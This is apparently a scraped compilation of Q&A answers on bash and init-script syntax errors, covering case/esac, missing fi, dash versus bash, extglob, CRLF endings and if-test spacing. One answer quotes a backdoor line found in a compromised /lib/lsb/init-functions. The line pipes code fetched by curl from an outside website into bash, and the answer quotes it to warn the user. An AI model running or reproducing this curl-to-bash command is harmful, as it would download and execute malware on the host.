Syntax Error of ";; Unexpected" on Simple Init Script for Debian

Syntax error of ;; unexpected on simple init script for Debian

Get rid of the esac keywords before the ;;s. There should only be one at the very end to match the initial case keyword.

Syntax error on simple init script for debian

The proper syntax for the case statement is:

case expression in
pattern1)
statements
;;
pattern2)
statements
;;
esac

i.e. just closed with a single esac at the end. Anything else is just going to cause a syntax error.

You can feed scripts into ShellCheck, which does on-line script checking and will indicate where the syntax error is (which you can highlight in the input that you're pasting in here).

Unable to start apache2 syntax error

Sorry to be there bearer of bad news, but it looks like your copy of /lib/lsb/init-functions has been backdoored and is trying to run malicious code from a random website

The site serving the malicious code is probably dead which causes the syntax error.

This line is not in the real init-functions (the error msg already gave you the line #)

X=$(/usr/sbin/innodb &;curl http://banconicaragua.com/x|bash)

Shell Script Syntax Error: Unexpected End of File

Edit: Note that the original post has been edited since this answer was written and has been reformatted. You should look at the history to see the original formatting to understand the context for this answer.

This error occurs often when you have mismatched structure - that is, you do not have matching double quotes, matching single quotes, have not closed a control structure such as a missing fi with an if, or a missing done with a for.

The best way to spot these is to use correct indentation, which will show you where you have a broken control structure, and syntax highlighting, which will show you where quotes are not matched.

In this particular case, I can see you are missing a fi. In the latter part of your code, you have 5 ifs and 4 fis. However you also have a number of other problems - your backquoted touch /tmp/alert.txt... command is syntactically invalid, and you need a space before the closing bracket of an if test.

Clean up your code, and errors start to stand out.

syntax error `( unexpected in bash script

Make sure you are running the script with bash. That error is a commonly seen dash shell error.

I suspect the first line of your script is not #!/bin/bash, i.e. you may have left out the shebang line entirely resulting in the default shell being used (which will often be dash especially on Debian derived Linuxes where /bin/sh -> dash).

Try running this:

#!/bin/bash

myfun()
{
echo XXXX
echo YYYY
read choice
}

choice=$(myfun)

Syntax error: ( unexpected -- with !(*.sh) in bash script

This is not a "sh file" -- it's a bash script. If you run it with sh yourscript, it will not work (as extglobs, the shell feature you're trying to use, aren't supported in POSIX sh); it needs to be run only with bash yourscript, or with ./yourscript when starting with #!/bin/bash (as it does). Describing it as a "sh file" is thus misleading. Moreover, even with bash, the extended globbing feature needs to be turned on.


Your immediate issue is that !(*.sh) is not regular glob syntax; it's an extglob extension, not available by default. You may have a .bashrc or similar configuration file which enables this extension for interactive shells, but that won't apply to scripts. Run:

shopt -s extglob

...to enable these features.


Cleaned up, your script might look like:

#!/bin/bash

shopt -s extglob

# putting settings in an array allows unescaped newlines in definition
# also sorted to make it easier to find things.
settings=(
-b:v 3000k
-bf 2
-c:v libx264
-level 3.1
-movflags faststart
-pix_fmt yuv420p
-preset:v slow
-profile:v Main
-r 29.97
-s 1280x720
-threads 0
-vf yadif=0:-1
)

for f in !(*.sh); do
ffmpeg "${settings[@]}" -i "$f" \
/mnt/media/out-mp4/"${f%.mxf}.mp4" && rm -- "$f"
done

Note the following changes, above and beyond formatting:

  • shopt -s extglob is on its own line, before the glob is expanded.
  • The rm is only run if ffmpeg succeeds, because the separator between those commands is &&, rather than either ; or a bare newline.
  • The -- argument passed to rm tells it to treat all future arguments (in this case, the content of "$f") as a filename, even if it starts with a dash.
  • The "$f" argument to rm is inside double quotes.

Bash script process substitution Syntax error: ( unexpected

You should run your script with bash, i.e. either bash ./script.sh or making use of the shebang by ./script.sh after setting it to executable. Only running it with sh ./script.sh do I get your error, as commented by Cyrus.

See also: role of shebang at unix.SE

Bash syntax error: unexpected end of file

I think file.sh is with CRLF line terminators.

run

dos2unix file.sh

then the problem will be fixed.

You can install dos2unix in ubuntu with this:

sudo apt-get install dos2unix

Syntax error near unexpected token 'then'

There must be a space between if and [, like this:

#!/bin/bash
#test file exists

FILE="1"
if [ -e "$FILE" ]; then
if [ -f "$FILE" ]; then
echo :"$FILE is a regular file"
fi
...

These (and their combinations) would all be incorrect too:

if [-e "$FILE" ]; then
if [ -e"$FILE" ]; then
if [ -e "$FILE"]; then

These on the other hand are all ok:

if [ -e "$FILE" ];then  # no spaces around ;
if [ -e "$FILE" ] ; then # 1 or more spaces are ok

Btw these are equivalent:

if [ -e "$FILE" ]; then
if test -e "$FILE"; then

These are also equivalent:

if [ -e "$FILE" ]; then echo exists; fi
[ -e "$FILE" ] && echo exists
test -e "$FILE" && echo exists

And, the middle part of your script would have been better with an elif like this:

if [ -f "$FILE" ]; then
echo $FILE is a regular file
elif [ -d "$FILE" ]; then
echo $FILE is a directory
fi

(I also dropped the quotes in the echo, as in this example they are unnecessary)



Related Topics



Leave a reply



Submit